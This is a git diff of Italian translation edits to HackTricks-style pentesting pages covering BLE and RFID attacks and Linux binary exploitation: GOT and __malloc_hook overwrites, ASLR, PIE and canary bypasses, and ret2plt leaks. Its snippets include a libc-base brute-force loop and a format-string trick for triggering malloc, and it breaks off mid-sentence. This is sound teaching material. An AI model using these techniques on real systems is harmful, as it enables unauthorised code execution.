b/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md @@ -4,17 +4,17 @@ Disponibile dalla specifica Bluetooth 4.0, BLE utilizza solo 40 canali, coprendo la gamma da 2400 a 2483,5 MHz. Al contrario, il Bluetooth tradizionale utilizza 79 canali nella stessa gamma. -I dispositivi BLE comunicano inviando **pacchetti pubblicitari** (**beacons**), questi pacchetti trasmettono l'esistenza del dispositivo BLE ad altri dispositivi vicini. Questi beacon a volte **inviando dati**, too. +I dispositivi BLE comunicano inviando **pacchetti pubblicitari** (**beacon**), questi pacchetti trasmettono l'esistenza del dispositivo BLE ad altri dispositivi vicini. Questi beacon a volte **inviando dati**, too. Il dispositivo in ascolto, chiamato anche dispositivo centrale, può rispondere a un pacchetto pubblicitario con una **richiesta SCAN** inviata specificamente al dispositivo pubblicitario. La **risposta** a quella scansione utilizza la stessa struttura del pacchetto **pubblicitario** con informazioni aggiuntive che non potevano essere incluse nella richiesta pubblicitaria iniziale, come il nome completo del dispositivo. ![](<../images/image (201) (2) (1) (1).png>) -Il byte di preambolo sincronizza la frequenza, mentre l'indirizzo di accesso di quattro byte è un **identificatore di connessione**, utilizzato in scenari in cui più dispositivi stanno cercando di stabilire connessioni sugli stessi canali. Successivamente, l'Unità di Dati di Protocollo (**PDU**) contiene i **dati pubblicitari**. Ci sono diversi tipi di PDU; i più comunemente usati sono ADV_NONCONN_IND e ADV_IND. I dispositivi utilizzano il tipo di PDU **ADV_NONCONN_IND** se **non accettano connessioni**, trasmettendo dati solo nel pacchetto pubblicitario. I dispositivi utilizzano **ADV_IND** se **consentono connessioni** e **smettono di inviare pacchetti pubblicitari** una volta che una **connessione** è stata **stabilita**. +Il byte di preambolo sincronizza la frequenza, mentre l'indirizzo di accesso di quattro byte è un **identificatore di connessione**, utilizzato in scenari in cui più dispositivi stanno cercando di stabilire connessioni sugli stessi canali. Successivamente, l'Unità di Dati di Protocollo (**PDU**) contiene i **dati pubblicitari**. Ci sono diversi tipi di PDU; i più comunemente usati sono ADV_NONCONN_IND e ADV_IND. I dispositivi utilizzano il tipo di PDU **ADV_NONCONN_IND** se **non accettano connessioni**, trasmettendo dati solo nel pacchetto pubblicitario. I dispositivi utilizzano **ADV_IND** se **consentono connessioni** e **smettono di inviare pubblicità** pacchetti una volta che una **connessione** è stata **stabilita**. ## GATT -Il **Profilo di Attributo Generico** (GATT) definisce come il **dispositivo dovrebbe formattare e trasferire dati**. Quando analizzi la superficie di attacco di un dispositivo BLE, spesso concentrerai la tua attenzione sul GATT (o GATTs), perché è così che **viene attivata la funzionalità del dispositivo** e come i dati vengono memorizzati, raggruppati e modificati. Il GATT elenca le caratteristiche, i descrittori e i servizi di un dispositivo in una tabella come valori a 16 o 32 bit. Una **caratteristica** è un valore **dati** **inviato** tra il dispositivo centrale e il periferico. Queste caratteristiche possono avere **descrittori** che **forniscono informazioni aggiuntive su di esse**. Le **caratteristiche** sono spesso **raggruppate** in **servizi** se sono correlate all'esecuzione di un'azione particolare. +Il **Profilo di Attributo Generico** (GATT) definisce come il **dispositivo dovrebbe formattare e trasferire i dati**. Quando analizzi la superficie di attacco di un dispositivo BLE, spesso concentrerai la tua attenzione sul GATT (o GATTs), perché è così che **viene attivata la funzionalità del dispositivo** e come i dati vengono memorizzati, raggruppati e modificati. Il GATT elenca le caratteristiche, i descrittori e i servizi di un dispositivo in una tabella come valori a 16 o 32 bit. Una **caratteristica** è un valore **dati** **inviato** tra il dispositivo centrale e il periferico. Queste caratteristiche possono avere **descrittori** che **forniscono informazioni aggiuntive su di esse**. Le **caratteristiche** sono spesso **raggruppate** in **servizi** se sono correlate all'esecuzione di un'azione particolare. # Enumerazione ```bash diff --git a/src/radio-hacking/pentesting-rfid.md b/src/radio-hacking/pentesting-rfid.md index 11ca294f8..f983a39c1 100644 --- a/src/radio-hacking/pentesting-rfid.md +++ b/src/radio-hacking/pentesting-rfid.md @@ -6,7 +6,7 @@ **Radio Frequency Identification (RFID)** è la soluzione radio a corto raggio più popolare. Viene solitamente utilizzata per memorizzare e trasmettere informazioni che identificano un'entità. -Un tag RFID può fare affidamento su **una propria fonte di alimentazione (attivo)**, come una batteria incorporata, o ricevere la propria energia dall'antenna di lettura utilizzando la corrente **indotta dalle onde radio ricevute** (**passivo**). +Un tag RFID può fare affidamento su **una propria fonte di alimentazione (attivo)**, come una batteria incorporata, o ricevere la sua energia dall'antenna di lettura utilizzando la corrente **indotta dalle onde radio ricevute** (**passivo**). ### Classi @@ -33,11 +33,11 @@ La maggior parte dei **controlli di sicurezza RFID** ha meccanismi che **limitan ## Tag RFID a Bassa Frequenza (125kHz) -I **tag a bassa frequenza** sono spesso utilizzati in sistemi che **non richiedono alta sicurezza**: accesso agli edifici, chiavi per citofoni, carte di abbonamento in palestra, ecc. A causa della loro maggiore portata, sono comodi da usare per il parcheggio a pagamento: il conducente non deve avvicinare la carta al lettore, poiché viene attivata da una distanza maggiore. Allo stesso tempo, i tag a bassa frequenza sono molto primitivi, hanno una bassa velocità di trasferimento dati. Per questo motivo, è impossibile implementare un complesso trasferimento dati bidirezionale per cose come il mantenimento del saldo e la crittografia. I tag a bassa frequenza trasmettono solo il loro breve ID senza alcun mezzo di autenticazione. +I **tag a bassa frequenza** sono spesso utilizzati in sistemi che **non richiedono alta sicurezza**: accesso agli edifici, chiavi per citofoni, carte di iscrizione in palestra, ecc. A causa della loro maggiore portata, sono comodi da usare per il parcheggio a pagamento: il conducente non deve avvicinare la carta al lettore, poiché viene attivata da una distanza maggiore. Allo stesso tempo, i tag a bassa frequenza sono molto primitivi, hanno una bassa velocità di trasferimento dati. Per questo motivo, è impossibile implementare un complesso trasferimento dati bidirezionale per cose come il mantenimento del saldo e la crittografia. I tag a bassa frequenza trasmettono solo il loro breve ID senza alcun mezzo di autenticazione. Questi dispositivi si basano sulla tecnologia **RFID passiva** e operano in un **intervallo di 30 kHz a 300 kHz**, anche se è più comune utilizzare 125 kHz a 134 kHz: -- **Lunga distanza** — una frequenza più bassa si traduce in una maggiore portata. Ci sono alcuni lettori EM-Marin e HID, che funzionano da una distanza di fino a un metro. Questi sono spesso utilizzati nei parcheggi. +- **Lunga distanza** — una frequenza più bassa si traduce in una maggiore portata. Ci sono alcuni lettori EM-Marin e HID, che funzionano da una distanza di fino a un metro. Questi sono spesso utilizzati nel parcheggio. - **Protocollo primitivo** — a causa della bassa velocità di trasferimento dati, questi tag possono trasmettere solo il loro breve ID. Nella maggior parte dei casi, i dati non sono autenticati e non sono protetti in alcun modo. Non appena la carta è nel raggio del lettore, inizia semplicemente a trasmettere il suo ID. - **Bassa sicurezza** — Queste carte possono essere facilmente copiate, o anche lette dalla tasca di qualcun altro a causa della primitività del protocollo. @@ -51,7 +51,7 @@ In realtà, ci sono molti più protocolli a bassa frequenza. Ma utilizzano tutti ### Attacco -Puoi **attaccare questi tag con il Flipper Zero**: +Puoi **attaccare questi Tag con il Flipper Zero**: {{#ref}} ../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md @@ -60,13 +60,13 @@ Puoi **attaccare questi tag con il Flipper Zero**: ## Tag RFID ad Alta Frequenza (13.56 MHz) I **tag ad alta frequenza** sono utilizzati per un'interazione più complessa tra lettore e tag quando hai bisogno di crittografia, un ampio trasferimento dati bidirezionale, autenticazione, ecc.\ -Si trovano solitamente in carte bancarie, trasporti pubblici e altri passaggi sicuri. +Si trova solitamente in carte bancarie, trasporti pubblici e altri passaggi sicuri. I **tag ad alta frequenza 13.56 MHz sono un insieme di standard e protocolli**. Vengono solitamente chiamati [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), ma non è sempre corretto. L'insieme di protocolli di base utilizzato a livello fisico e logico è ISO 14443. I protocolli di alto livello, così come gli standard alternativi (come ISO 19092), si basano su di esso. Molte persone si riferiscono a questa tecnologia come **Near Field Communication (NFC)**, un termine per dispositivi che operano sulla frequenza di 13.56 MHz.
-Per dirla semplicemente, l'architettura NFC funziona così: il protocollo di trasmissione è scelto dall'azienda che produce le carte e implementato sulla base del livello ISO 14443. Ad esempio, NXP ha inventato il proprio protocollo di trasmissione di alto livello chiamato Mifare. Ma a livello inferiore, le carte Mifare si basano sullo standard ISO 14443-A. +Per semplificare, l'architettura NFC funziona in questo modo: il protocollo di trasmissione è scelto dall'azienda che produce le carte e implementato sulla base del livello ISO 14443. Ad esempio, NXP ha inventato il proprio protocollo di trasmissione di alto livello chiamato Mifare. Ma a livello inferiore, le carte Mifare si basano sullo standard ISO 14443-A. Flipper può interagire sia con il protocollo ISO 14443 di basso livello, sia con il protocollo di trasferimento dati Mifare Ultralight e EMV utilizzato nelle carte bancarie. Stiamo lavorando per aggiungere supporto per Mifare Classic e NFC NDEF. Un'analisi approfondita dei protocolli e degli standard che compongono l'NFC merita un articolo separato che prevediamo di pubblicare in seguito. @@ -76,11 +76,11 @@ Ci sono molti sistemi di controllo accessi che si basano sull'UID per **autentic - **Bassa portata** — le carte ad alta frequenza sono specificamente progettate per essere posizionate vicino al lettore. Questo aiuta anche a proteggere la carta da interazioni non autorizzate. La massima portata di lettura che siamo riusciti a raggiungere è stata di circa 15 cm, e ciò è avvenuto con lettori ad alta portata realizzati su misura. - **Protocolli avanzati** — velocità di trasferimento dati fino a 424 kbps consentono protocolli complessi con trasferimento dati bidirezionale completo. Che a sua volta **consente la crittografia**, il trasferimento di dati, ecc. -- **Alta sicurezza** — le carte contactless ad alta frequenza non sono in alcun modo inferiori alle smart card. Ci sono carte che supportano algoritmi crittografici robusti come AES e implementano la crittografia asimmetrica. +- **Alta sicurezza** — le carte contactless ad alta frequenza non sono in alcun modo inferiori alle smart card. Ci sono carte che supportano algoritmi crittografici robusti come AES e implementano crittografia asimmetrica. ### Attacco -Puoi **attaccare questi tag con il Flipper Zero**: +Puoi **attaccare questi Tag con il Flipper Zero**: {{#ref}} ../todo/radio-hacking/flipper-zero/fz-nfc.md diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md index 5429858dd..c9fd207eb 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md @@ -1 +1 @@ -# Scrittura Arbitraria 2 Esecuzione +# Scrittura Arbitraria 2 Exec diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 3031fcfe3..81c1abc5b 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -6,7 +6,7 @@ Come indicato nel [sito ufficiale GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variabile **`__malloc_hook`** è un puntatore che punta all'**indirizzo di una funzione che verrà chiamata** ogni volta che viene chiamato `malloc()`, **memorizzato nella sezione dati della libreria libc**. Pertanto, se questo indirizzo viene sovrascritto con un **One Gadget**, ad esempio, e viene chiamato `malloc`, il **One Gadget verrà chiamato**. -Per chiamare malloc è possibile aspettare che il programma lo chiami o **chiamando `printf("%10000$c")`**, che alloca troppi byte, facendo sì che `libc` chiami malloc per allocarli nel heap. +Per chiamare malloc è possibile attendere che il programma lo chiami o **chiamando `printf("%10000$c")`**, che alloca troppi byte, facendo sì che `libc` chiami malloc per allocarli nello heap. Ulteriori informazioni su One Gadget in: diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md index d8a5bcd6c..ab1ccd97b 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -26,7 +26,7 @@ Ottieni l'indirizzo della tabella GOT con: **`objdump -s -j .got ./exec`** Osserva come dopo **il caricamento** dell'**eseguibile** in GEF puoi **vedere** le **funzioni** che sono nella **GOT**: `gef➤ x/20x 0xADDR_GOT` -![](<../../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) +![](<../../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) Utilizzando GEF puoi **iniziare** una **sessione di debug** ed eseguire **`got`** per vedere la tabella got: @@ -38,7 +38,7 @@ In un binario la GOT ha gli **indirizzi delle funzioni o** della **sezione PLT** Idealmente, dovresti **sovrascrivere** la **GOT** di una **funzione** che verrà **chiamata con parametri controllati da te** (quindi sarai in grado di controllare i parametri inviati alla funzione di sistema). -Se **`system`** **non è utilizzato** dallo script, la funzione di sistema **non avrà** una voce nella PLT. In questo scenario, dovrai **prima ottenere l'indirizzo** della funzione `system` e poi sovrascrivere la GOT per puntare a questo indirizzo. +Se **`system`** **non viene utilizzato** dallo script, la funzione di sistema **non avrà** un'entrata nella PLT. In questo scenario, dovrai **prima fare leak dell'indirizzo** della funzione `system` e poi sovrascrivere la GOT per puntare a questo indirizzo. Puoi vedere gli indirizzi PLT con **`objdump -j .plt -d ./vuln_binary`** diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md index 2633e1993..35541e09b 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md @@ -36,6 +36,6 @@ Contents of section .fini_array: Nota che questo **non** **creerà** un **loop eterno** perché quando torni a main il canary lo noterà, la fine dello stack potrebbe essere corrotta e la funzione non verrà richiamata di nuovo. Quindi con questo sarai in grado di **avere 1 esecuzione in più** della vulnerabilità. > [!CAUTION] -> Nota che con [Full RELRO](../common-binary-protections-and-bypasses/relro.md), la sezione `.fini_array` è impostata come **sola lettura**. +> Nota che con [Full RELRO](../common-binary-protections-and-bypasses/relro.md), la sezione `.fini_array` è resa **sola lettura**. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md index b2a88acda..036c40471 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md @@ -35,7 +35,7 @@ Per **abilitare** ASLR, puoi scrivere un valore di **2** nel file `/proc/sys/ker ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` -### **Persistenza Attraverso i Riavvii** +### **Persistenza tra i Riavvii** Le modifiche apportate con i comandi `echo` sono temporanee e verranno ripristinate al riavvio. Per rendere la modifica persistente, è necessario modificare il file `/etc/sysctl.conf` e aggiungere o modificare la seguente riga: ```tsconfig @@ -57,19 +57,19 @@ PaX divide lo spazio degli indirizzi del processo in **3 gruppi**: - **Codice e dati** (inizializzati e non inizializzati): `.text`, `.data` e `.bss` —> **16 bit** di entropia nella variabile `delta_exec`. Questa variabile è inizializzata casualmente con ogni processo e aggiunta agli indirizzi iniziali. - **Memoria** allocata da `mmap()` e **librerie condivise** —> **16 bit**, chiamata `delta_mmap`. -- **Lo stack** —> **24 bit**, indicato come `delta_stack`. Tuttavia, utilizza effettivamente **11 bit** (dal 10° al 20° byte inclusi), allineati a **16 byte** —> Questo porta a **524.288 possibili indirizzi reali dello stack**. +- **Lo stack** —> **24 bit**, riferito come `delta_stack`. Tuttavia, utilizza effettivamente **11 bit** (dal 10° al 20° byte inclusi), allineati a **16 byte** —> Questo porta a **524.288 possibili indirizzi reali dello stack**. I dati precedenti sono per sistemi a 32 bit e l'entropia finale ridotta rende possibile bypassare ASLR riprovando l'esecuzione più e più volte fino a quando l'exploit non viene completato con successo. -#### Idee per brute-force: +#### Idee di brute-force: - Se hai un overflow abbastanza grande da ospitare un **grande NOP sled prima del shellcode**, potresti semplicemente forzare gli indirizzi nello stack fino a quando il flusso **salta oltre una parte del NOP sled**. -- Un'altra opzione in caso l'overflow non sia così grande e l'exploit possa essere eseguito localmente è possibile **aggiungere il NOP sled e lo shellcode in una variabile d'ambiente**. +- Un'altra opzione per questo, nel caso in cui l'overflow non sia così grande e l'exploit possa essere eseguito localmente, è possibile **aggiungere il NOP sled e il shellcode in una variabile d'ambiente**. - Se l'exploit è locale, puoi provare a forzare l'indirizzo base di libc (utile per sistemi a 32 bit): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -- Se attacchi un server remoto, potresti provare a **forzare l'indirizzo della funzione `usleep` di `libc`**, passando come argomento 10 (ad esempio). Se a un certo punto il **server impiega 10 secondi in più per rispondere**, hai trovato l'indirizzo di questa funzione. +- Se attacchi un server remoto, potresti provare a **forzare l'indirizzo della funzione `libc` `usleep`**, passando come argomento 10 (ad esempio). Se a un certo punto il **server impiega 10 secondi in più per rispondere**, hai trovato l'indirizzo di questa funzione. > [!TIP] > Nei sistemi a 64 bit, l'entropia è molto più alta e questo non è possibile. @@ -85,7 +85,7 @@ Il file **`/proc/[pid]/stat`** di un processo è sempre leggibile da tutti e **c - **arg_start** & **arg_end**: Indirizzi sopra e sotto dove si trovano gli **argomenti cli**. - **env_start** & **env_end**: Indirizzi sopra e sotto dove si trovano le **variabili d'ambiente**. -Pertanto, se l'attaccante si trova sullo stesso computer del binario che viene sfruttato e questo binario non si aspetta il overflow da argomenti raw, ma da un diverso **input che può essere creato dopo aver letto questo file**. È possibile per un attaccante **ottenere alcuni indirizzi da questo file e costruire offset da essi per l'exploit**. +Pertanto, se l'attaccante si trova sullo stesso computer del binario che viene sfruttato e questo binario non si aspetta il overflow da argomenti grezzi, ma da un diverso **input che può essere creato dopo aver letto questo file**. È possibile per un attaccante **ottenere alcuni indirizzi da questo file e costruire offset da essi per l'exploit**. > [!TIP] > Per ulteriori informazioni su questo file, controlla [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) cercando `/proc/pid/stat` diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md index 4fc11f92c..77350589b 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Informazioni di Base +## Informazioni di base L'obiettivo di questa tecnica sarebbe **leakare un indirizzo da una funzione del PLT** per poter bypassare ASLR. Questo perché, se ad esempio, leakate l'indirizzo della funzione `puts` dalla libc, potete poi **calcolare dove si trova la base di `libc`** e calcolare gli offset per accedere ad altre funzioni come **`system`**. @@ -73,6 +73,6 @@ p.interactive() - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi un gadget ROP per chiamare `system('/bin/sh')` - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) -- 64 bit, ASLR abilitato, senza canary, overflow dello stack in main da una funzione figlia. Gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi chiamare un one gadget. +- 64 bit, ASLR abilitato, senza canary, overflow dello stack in main da una funzione figlia. Gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi chiamare un gadget one. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md index 5c3e3db16..d2fdfa838 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md @@ -4,7 +4,7 @@ ## Informazioni di base -Il bit **No-Execute (NX)**, noto anche come **Execute Disable (XD)** nella terminologia Intel, è una funzione di sicurezza basata sull'hardware progettata per **mitigare** gli effetti degli attacchi di **buffer overflow**. Quando implementato e abilitato, distingue tra le regioni di memoria destinate a **codice eseguibile** e quelle destinate ai **dati**, come lo **stack** e l'**heap**. L'idea principale è di impedire a un attaccante di eseguire codice malevolo attraverso vulnerabilità di buffer overflow mettendo il codice malevolo nello stack, ad esempio, e dirigendo il flusso di esecuzione verso di esso. +Il bit **No-Execute (NX)**, noto anche come **Execute Disable (XD)** nella terminologia Intel, è una funzione di sicurezza basata sull'hardware progettata per **mitigare** gli effetti degli attacchi di **buffer overflow**. Quando implementato e abilitato, distingue tra le regioni di memoria destinate al **codice eseguibile** e quelle destinate ai **dati**, come lo **stack** e l'**heap**. L'idea principale è quella di impedire a un attaccante di eseguire codice malevolo attraverso vulnerabilità di buffer overflow mettendo il codice malevolo nello stack, ad esempio, e dirigendo il flusso di esecuzione verso di esso. ## Bypass diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md index 528ba8667..3d064135f 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md @@ -15,7 +15,7 @@ Oppure puoi usare questo per il tuo exploit, se leak che un indirizzo si trova a Per bypassare PIE è necessario **leakare un indirizzo del binario caricato**, ci sono alcune opzioni per questo: -- **ASLR disabilitato**: Se ASLR è disabilitato, un binario compilato con PIE è sempre **caricato nello stesso indirizzo**, quindi **PIE sarà inutile** poiché gli indirizzi degli oggetti saranno sempre nello stesso posto. +- **ASLR disabilitato**: Se ASLR è disabilitato, un binario compilato con PIE verrà sempre **caricato nello stesso indirizzo**, quindi **PIE sarà inutile** poiché gli indirizzi degli oggetti saranno sempre nello stesso posto. - Essere **forniti** del leak (comune nelle sfide CTF facili, [**controlla questo esempio**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) - **Brute-force dei valori EBP ed EIP** nello stack fino a leakare quelli corretti: diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md index 560c794ec..4393826c7 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -8,7 +8,7 @@ > [!NOTE] > Nota che **`checksec`** potrebbe non rilevare che un binario è protetto da un canary se questo è stato compilato staticamente e non è in grado di identificare la funzione.\ -> Tuttavia, puoi notarlo manualmente se scopri che un valore è salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire. +> Tuttavia, puoi notarlo manualmente se trovi che un valore è salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire. ## Indirizzi Brute-Force @@ -77,7 +77,7 @@ Per calcolare il base address basta fare `objdump -d vunbinary` e controllare gl ![](<../../../../images/image (145).png>) -In quell'esempio puoi vedere che sono necessari solo **1 Byte e mezzo** per localizzare tutto il codice, quindi, il base address in questa situazione sarà il **RIP leaked ma che termina con "000"**. Ad esempio, se hai leakato `0x562002970ecf`, il base address è `0x562002970000` +In quell'esempio puoi vedere che sono necessari solo **1 Byte e mezzo** per localizzare tutto il codice, quindi, il base address in questa situazione sarà la **RIP leak ma che termina con "000"**. Ad esempio, se hai leakato `0x562002970ecf`, il base address è `0x562002970000` ```python elf.address = RIP - (RIP & 0xfff) ``` diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md index 85c122fc6..026f306d6 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -10,22 +10,22 @@ ## **Stack Smash Protector (ProPolice) `-fstack-protector`:** -Questo meccanismo posiziona un **canary** prima dell'**EBP**, e riorganizza le variabili locali per posizionare i buffer a indirizzi di memoria più alti, impedendo loro di sovrascrivere altre variabili. Copia anche in modo sicuro gli argomenti passati sullo stack sopra le variabili locali e utilizza queste copie come argomenti. Tuttavia, non protegge gli array con meno di 8 elementi o i buffer all'interno di una struttura dell'utente. +Questo meccanismo posiziona un **canary** prima dell'**EBP**, e riorganizza le variabili locali per posizionare i buffer a indirizzi di memoria più alti, impedendo loro di sovrascrivere altre variabili. Copia anche in modo sicuro gli argomenti passati nello stack sopra le variabili locali e utilizza queste copie come argomenti. Tuttavia, non protegge gli array con meno di 8 elementi o i buffer all'interno di una struttura utente. Il **canary** è un numero casuale derivato da `/dev/urandom` o un valore predefinito di `0xff0a0000`. È memorizzato in **TLS (Thread Local Storage)**, consentendo spazi di memoria condivisi tra i thread di avere variabili globali o statiche specifiche per il thread. Queste variabili vengono inizialmente copiate dal processo padre, e i processi figli possono alterare i loro dati senza influenzare il padre o i fratelli. Tuttavia, se un **`fork()` viene utilizzato senza creare un nuovo canary, tutti i processi (padre e figli) condividono lo stesso canary**, rendendolo vulnerabile. Sull'architettura **i386**, il canary è memorizzato in `gs:0x14`, e su **x86_64**, in `fs:0x28`. Questa protezione locale identifica le funzioni con buffer vulnerabili ad attacchi e inietta codice all'inizio di queste funzioni per posizionare il canary, e alla fine per verificarne l'integrità. -Quando un server web utilizza `fork()`, consente un attacco di forza bruta per indovinare il canary byte per byte. Tuttavia, utilizzare `execve()` dopo `fork()` sovrascrive lo spazio di memoria, annullando l'attacco. `vfork()` consente al processo figlio di eseguire senza duplicazione fino a quando non tenta di scrivere, momento in cui viene creata una duplicazione, offrendo un approccio diverso alla creazione di processi e alla gestione della memoria. +Quando un server web utilizza `fork()`, consente un attacco di forza bruta per indovinare il byte del canary byte per byte. Tuttavia, utilizzare `execve()` dopo `fork()` sovrascrive lo spazio di memoria, annullando l'attacco. `vfork()` consente al processo figlio di eseguire senza duplicazione fino a quando non tenta di scrivere, momento in cui viene creata una duplicazione, offrendo un approccio diverso alla creazione di processi e alla gestione della memoria. ### Lunghezze -Nei binari `x64`, il cookie del canary è un **`0x8`** byte qword. I **primi sette byte sono casuali** e l'ultimo byte è un **byte nullo.** +Nei binari `x64`, il cookie del canary è un **`0x8`** byte qword. I **primi sette byte sono casuali** e l'ultimo byte è un **null byte.** -Nei binari `x86`, il cookie del canary è un **`0x4`** byte dword. I **primi tre byte sono casuali** e l'ultimo byte è un **byte nullo.** +Nei binari `x86`, il cookie del canary è un **`0x4`** byte dword. I **primi tre byte sono casuali** e l'ultimo byte è un **null byte.** > [!CAUTION] -> Il byte meno significativo di entrambi i canary è un byte nullo perché sarà il primo nello stack proveniente da indirizzi più bassi e quindi **le funzioni che leggono stringhe si fermeranno prima di leggerlo**. +> Il byte meno significativo di entrambi i canary è un null byte perché sarà il primo nello stack proveniente da indirizzi più bassi e quindi **le funzioni che leggono stringhe si fermeranno prima di leggerlo**. ## Bypass diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 6dcd1b27a..88d840e08 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Se stai affrontando un binario protetto da un canary e PIE (Position Independent Executable) probabilmente devi 